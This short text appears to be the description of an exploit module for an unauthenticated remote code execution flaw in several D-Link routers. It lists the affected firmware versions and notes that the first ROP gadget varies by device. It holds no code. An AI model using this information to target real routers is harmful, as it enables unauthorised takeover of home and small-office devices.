This module exploits an anonymous remote code execution vulnerability on different D-Link routers.
This module has been tested successfully on D-Link DIR300-v2.14, DIR600 and DIR645A1_FW103B11.
This module has been tested successfully on D-Link DIR645A1_FW103B11. Different other devices like the
DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable and they were tested within an emulated
environment. They are a little bit different in the first ROP gadget.
